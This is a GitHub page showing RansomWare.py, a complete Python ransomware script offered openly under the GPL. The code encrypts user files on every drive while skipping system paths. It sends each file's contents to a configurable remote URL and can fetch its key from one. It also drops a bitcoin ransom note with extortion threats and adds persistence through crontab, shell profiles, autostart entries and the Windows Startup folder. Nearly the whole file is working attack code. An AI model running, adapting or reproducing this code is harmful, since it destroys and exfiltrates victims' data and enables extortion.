-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathRansomWare.py
More file actions
730 lines (606 loc) · 19.8 KB
/
RansomWare.py
File metadata and controls
730 lines (606 loc) · 19.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
###################
# This package implements a cross platform RansomWare.
# Copyright (C) 2021, 2025 Maurice Lambert
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
###################
"""
This package implements a cross platform RansomWare.
"""
__version__ = "1.0.0"
__author__ = "Maurice Lambert"
__author_email__ = "mauricelambert434@gmail.com"
__maintainer__ = "Maurice Lambert"
__maintainer_email__ = "mauricelambert434@gmail.com"
__description__ = """
This package implements a cross platform RansomWare.
"""
__url__ = "https://github.com/mauricelambert/RansomWare"
__all__ = ["RansomWare"]
__license__ = "GPL-3.0 License"
__copyright__ = """
RansomWare Copyright (C) 2021, 2025 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
"""
copyright = __copyright__
license = __license__
print(copyright)
from os.path import (
join,
isdir,
isfile,
abspath,
getsize,
dirname,
basename,
splitext,
expanduser,
)
from os import scandir, urandom, access, X_OK, R_OK, W_OK, stat, environ
from base64 import b85decode, b64decode, b32decode, b16decode
from sys import exit, executable, argv, stderr
from ctypes import Structure, sizeof, byref
from urllib.request import urlopen, Request
from stat import FILE_ATTRIBUTE_HIDDEN
from argparse import ArgumentParser
from contextlib import suppress
from _io import _BufferedIOBase
from urllib.parse import quote
from typing import Callable
from platform import system
from string import Template
from fnmatch import fnmatch
from getpass import getuser
from lzma import compress
from time import sleep
from math import log
RC4 = RC6Encryption = RC4Encryption = None
DEFAULT_WALLET = "3LU8wRu4ZnXP4UM8Yo6kkTiGHM9BubgyiG" # https://crypto.news/fbi-identifies-six-bitcoin-addresses-controlled-by-north-korean-hackers/
PRICE = "0.01"
CRYPTO = "BitCoin"
RANSOM_NOTE = Template(
"""
Dear victim,
We regret to inform you that your files have been securely encrypted by the PythonCryptor. 📁🔒
Data Exfiltration Notice:
During our intrusion, we have successfully extracted sensitive data from your system.
This data is now securely stored on our private servers and will be published if payment is not received.
To regain access to your precious documents, we kindly request a ransom of ${price} ${crypto}. Please send the payment to the following wallet address:
${crypto} Wallet: ${wallet}
Rest assured, once the payment is received, we will promptly provide you with the decryption key and permanently delete the exfiltrated data. Your cooperation in this matter is greatly appreciated !
Please note:
Time is of the essence! You have 48 hours to comply before your files are permanently lost in the digital abyss and your data is publicly disclosed. 😱
We recommend you do not attempt to decrypt the files yourself, as this may lead to further complications (and we wouldn't want that !).
Thank you for your understanding and prompt attention to this matter. We look forward to resolving this situation amicably !
Best regards,
The PythonCryptor.
"""
)
is_windows = system() == "Windows"
if is_windows:
from ctypes.wintypes import DWORD, WCHAR, WORD, BYTE, LPCWSTR
from ctypes import windll
system_directories = [
"?:\\Drivers",
"?:\\Program Files",
"?:\\Program Files (x86)",
"?:\\Windows",
]
INVALID_FILE_ATTRIBUTES = 0xFFFFFFFF
FILE_ATTRIBUTE_REPARSE_POINT = 0x0400
GetFileAttributes = windll.kernel32.GetFileAttributesW
GetFileAttributes.argtypes = [LPCWSTR]
GetFileAttributes.restype = DWORD
else:
system_directories = [
"/dev/",
"/proc/",
"/sys/",
"*/bin/*",
"*/sbin/*",
"/etc/",
"/lib/",
"/usr/",
"/opt/",
"/boot/",
"/var/lib/",
"/var/opt/",
]
system_extensions = [
".py",
".java",
".cpp",
".js",
".php",
".sql",
".exe",
".dll",
".sys",
".ini",
".bat",
".com",
".obj",
".rb",
".rbw",
".gem",
".ru",
".pl",
".pm",
".t",
".psgi",
".o",
".lib",
".cof",
".plist",
".nqp",
".raku",
".rakumod",
".cgi",
".wsf",
".wsc",
".ps1",
".psm1",
".psd1",
".chm",
".lua",
".tcl",
".awk",
".sed",
".groovy",
".scala",
".kt",
".swift",
".go",
".rs",
".hs",
".erl",
".ex",
".exs",
".clj",
".fs",
".cs",
".d",
".jl",
".dat",
]
def weak_encryption(key: bytes, data: bytes) -> bytes:
"""
This fonction implements a weak encoding (XOR encryption).
"""
key_lenght = len(key)
return bytes([car ^ key[i % key_lenght] for i, car in enumerate(data)])
def rc6_encryption(key: bytes, data: bytes) -> bytes:
"""
This function implements the encryption with
RC6Encryption encryption module.
"""
rc6 = RC6Encryption(key)
iv, encrypt = rc6.data_encryption_CBC(data)
return iv + encrypt
def rc4_encryption(key: bytes, data: bytes) -> bytes:
"""
This function implements the encryption with
RC4Encryption encryption module.
"""
rc4 = RC4Encryption(key)
rc4.make_key()
cipher = rc4.crypt(data)
return cipher
def librc4_encryption(key: bytes, data: bytes) -> bytes:
"""
This function implements the encryption with
FastRc4 encryption library.
"""
rc4 = RC4(key)
cipher = rc4.encrypt(data)
return cipher
def get_encryption_method() -> Callable:
"""
This function try to import stronger encryption algorithm.
"""
global RC6Encryption, RC4Encryption, RC4
try:
from RC6Encryption import RC6Encryption
except ImportError:
pass
else:
return rc6_encryption
try:
from RC4Encryption import RC4Encryption
except ImportError:
pass
else:
return rc4_encryption
try:
from librc4 import RC4
except ImportError:
pass
else:
return librc4_encryption
return weak_encryption
def shannon_entropy(data: bytes) -> float:
"""
This function returns the shannon entropy score for data.
"""
possible = dict(((chr(x), 0) for x in range(0, 256)))
for byte in data:
possible[chr(byte)] += 1
data_len = len(data)
entropy = 0.0
for i in possible:
if possible[i] == 0:
continue
p = float(possible[i] / data_len)
entropy -= p * log(p, 2)
return entropy
def is_junction(full_path: str) -> bool:
"""
This function checks if path is a junction.
"""
attributes = GetFileAttributes(abspath(full_path))
if attributes == INVALID_FILE_ATTRIBUTES:
return False
return bool(attributes & FILE_ATTRIBUTE_REPARSE_POINT)
crypt = get_encryption_method()
if is_windows:
class OSVERSIONINFOEXW(Structure):
_fields_ = [
("dwOSVersionInfoSize", DWORD),
("dwMajorVersion", DWORD),
("dwMinorVersion", DWORD),
("dwBuildNumber", DWORD),
("dwPlatformId", DWORD),
("szCSDVersion", WCHAR * 128),
("wServicePackMajor", WORD),
("wServicePackMinor", WORD),
("wSuiteMask", WORD),
("wProductType", BYTE),
("wReserved", BYTE),
]
class RansomWare:
"""
This class implements the ransomware.
"""
def __init__(
self,
key: bytes,
url: str = None,
wallet: str = DEFAULT_WALLET,
crypto: str = CRYPTO,
price: str = PRICE,
interval_time: float = 0,
encrypt: Callable = crypt,
get_iv: Callable = lambda: urandom(40),
):
self.windows_server = self.is_windows_server()
self.drives = self.get_drives()
self.set_system_drive()
self.key = key
self.wallet = wallet
self.crypto = crypto
self.price = price
self.url = url
self.iv_filename = join(dirname(__file__), "IV.txt")
self.crypt = encrypt
self.get_iv = get_iv
self.interval_time = interval_time
def get_drives(self):
"""
This method returns parents path to start recursive functions
("/" for Linux and filesystem drives for Windows).
"""
if not is_windows:
return ["/"]
drives = []
bitmask = windll.kernel32.GetLogicalDrives()
for letter in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
if bitmask & 1:
drives.append(f"{letter}:\\")
bitmask >>= 1
return drives
def set_system_drive(self) -> None:
"""
This method modify system_directories with Windows system drive.
"""
global system_directories
if not is_windows:
return False
system_drive = environ["SystemDrive"][0]
system_directories = [
system_drive + x[1:]
for x in system_directories
if (self.is_windows_server and "Program" not in x)
or not self.is_windows_server
]
def check_path(self, full_path: str) -> bool:
"""
This method returns True when data in the path should be
encrypted or False when it should not.
"""
if getsize(full_path) > 104857600:
return False
if not access(full_path, R_OK | W_OK):
return False
if isdir(full_path):
if is_windows:
if (
stat(full_path).st_file_attributes & FILE_ATTRIBUTE_HIDDEN
and full_path != join(
environ["SystemDrive"], "ProgramData"
)
) or is_junction(full_path):
return False
else:
if basename(full_path).startswith("."):
return False
elif isfile(full_path) and not is_windows and access(full_path, X_OK):
return False
for base_path in system_directories:
if "*" in base_path or "?" in base_path or "[" in base_path:
if fnmatch(full_path, base_path):
return False
continue
if full_path.startswith(base_path):
return False
if self.iv_filename == full_path:
return False
return splitext(full_path)[1] not in system_extensions
def is_windows_server(self) -> bool:
"""
This method returns True when the system is a Windows Server.
"""
if not is_windows:
return False
PRODUCT_WORKSTATION = 1
PRODUCT_SERVER = 3
os_info = OSVERSIONINFOEXW()
os_info.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW)
retcode = windll.ntdll.RtlGetVersion(byref(os_info))
if retcode != 0:
return False
return os_info.wProductType != PRODUCT_WORKSTATION
def start(self) -> None:
"""
This function starts the attack.
"""
self.write_ransomnote()
for drive in self.drives:
self.ransom_recursively(drive)
def ransom_recursively(self, directory: str) -> None:
"""
This function get recursive filenames and crypt files.
"""
for file in scandir(directory):
full_path = join(directory, file.name)
if not self.check_path(full_path):
continue
if file.is_dir():
self.ransom_recursively(full_path)
elif file.is_file():
with suppress(PermissionError):
with open(full_path, "rb+") as file:
data = self.exfiltrate_file(file)
self.encrypt_file(file, data)
if self.interval_time:
sleep(self.interval_time)
def exfiltrate_file(self, file: _BufferedIOBase) -> bytes:
"""
This function performs exfiltration for one file.
"""
data = file.read()
file.seek(0)
if shannon_entropy(data) < 6.5:
data = compress(data)
if self.url is None:
return data
urlopen(Request(self.url + "?filename=" + quote(file.name), data=data))
return data
def write_ransomnote(self) -> None:
"""
This method writes the ransomnote.
"""
if is_windows:
directory = (
r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
)
files = []
if not access(directory, W_OK):
directory = expanduser("~") + (
r"\AppData\Roaming\Microsoft\W"
r"indows\Start Menu\Programs\Startup"
)
else:
directory = r"/usr/share"
files = ["/etc/issue"]
user_directory = expanduser("~")
if not access(directory, W_OK):
directory = join(user_directory, ".ransomware")
ransom = RANSOM_NOTE.safe_substitute(
crypto=self.crypto, wallet=self.wallet, price=self.price
)
files.append(join(directory, "ransomnote.txt"))
for filename in files:
with open(filename, "w", encoding="utf-8") as file:
file.write(ransom)
if is_windows:
return None
command = f"open {filename} || cat {filename}"
cron = f"\n@reboot {command}\n"
desktop = (
"[Desktop Entry]\n"
"Type=Application\n"
"Terminal=true\n"
"Name=PythonCryptor\n"
f"Exec={command}\n"
)
files = {
"/etc/crontab": cron,
"/var/spool/cron/crontabs/" + getuser(): cron,
join(user_directory, ".profile"): command,
join(user_directory, ".bash_profile"): command,
join(user_directory, ".config/autostart/.desktop"): desktop,
}
for filepath, content in files.items():
if not access(filepath, W_OK):
with open(filepath, "a") as file:
file.write(content)
def encrypt_file(self, file: _BufferedIOBase, data: bytes) -> None:
"""
This function encrypts one file.
"""
iv = self.get_iv()
iv_length = len(iv)
final_key = [x ^ iv[i % iv_length] for i, x in enumerate(self.key)]
kb = 1024
if len(data) <= 153600:
kb_number = 10
elif len(data) <= 1048576:
kb_number = 15
elif len(data) <= 52428800:
kb_number = 20
elif len(data) <= 104857600:
kb_number = 30
iv_file = open(self.iv_filename, "a")
iv_file.write(file.name + " " + iv.hex() + "\n")
index = 0
data = bytearray(data)
while index < len(data):
position = kb * index
end = position + kb
new_data = self.crypt(final_key, data[position:end])
data[position:end] = new_data[-kb:]
onetime_iv = new_data[:-kb]
if onetime_iv:
iv_file.write(file.name + " " + onetime_iv.hex() + "\n")
index += kb * kb_number
file.write(data)
file.truncate()
def parse() -> ArgumentParser:
"""
This function parses command line arguments.
"""
arguments = ArgumentParser(
description="This program implements a ransomware."
)
arguments.add_argument(
"--key",
"-k",
default=environ.get("ENCRYPTIONKEY"),
help=(
"Key to encrypt files. Can be defined with ENCRYPTIONKEY"
" environment variables."
),
)
arguments.add_argument(
"--urlkey",
"-l",
default=environ.get("URLKEY"),
help=(
"URL to get the encryption key. Can be defined "
"with URLKEY environment variables."
),
)
arguments.add_argument(
"--url",
"-u",
default=environ.get("URLEXFILTRATION"),
help=(
"URL to exfiltrate data. Can be defined with "
"URLEXFILTRATION environment variables."
),
)
arguments.add_argument(
"--wallet",
"-w",
default=environ.get("WALLET") or DEFAULT_WALLET,
help=(
"Wallet to receive the ramsom. Can be defined "
"with WALLET environment variables."
),
)
arguments.add_argument(
"--crypto",
"-c",
default=environ.get("CRYPTO") or CRYPTO,
help=(
"The cryptocurrency to use for the ransom. Can be "
"defined with CRYPTO environment variables."
),
)
arguments.add_argument(
"--price",
"-p",
default=environ.get("PRICE") or PRICE,
help=(
"The ransom price. Can be defined with "
"PRICE environment variables."
),
)
arguments.add_argument(
"--encode-key",
"-e",
help="Encode key with bases 16, 32, 64 or 85.",
choices=["16", "32", "64", "85"],
default=None,
)
arguments.add_argument(
"--interval-time",
"-t",
help="Interval time to sleep after file encryption and exfiltration.",
type=int,
default=0,
)
return arguments.parse_args()
def main() -> int:
"""
This function is the main function to start
the program from command line.
"""
arguments = parse()
if (not arguments.key and not arguments.urlkey) or (
arguments.key and arguments.urlkey
):
print(
(
"Encryption key or URL key must be defined in arguments"
" (read help message) or environment variables."
),
file=stderr,
)
print(f'Help: "{executable}" "{argv[0]}" --help', file=stderr)
return 1
if arguments.urlkey:
arguments.key = urlopen(arguments.urlkey).read()
if arguments.encode_key is None:
key = arguments.key.encode()
elif arguments.encode_key == "16":
key = b16decode(arguments.key.encode())
elif arguments.encode_key == "32":
key = b32decode(arguments.key.encode())
elif arguments.encode_key == "64":
key = b64decode(arguments.key.encode())
elif arguments.encode_key == "85":
key = b85decode(arguments.key.encode())
RansomWare(
key,
url=arguments.url,
wallet=arguments.wallet,
crypto=arguments.crypto,
price=arguments.price,
interval_time=arguments.interval_time,
).start()
return 0
if __name__ == "__main__":
exit(main())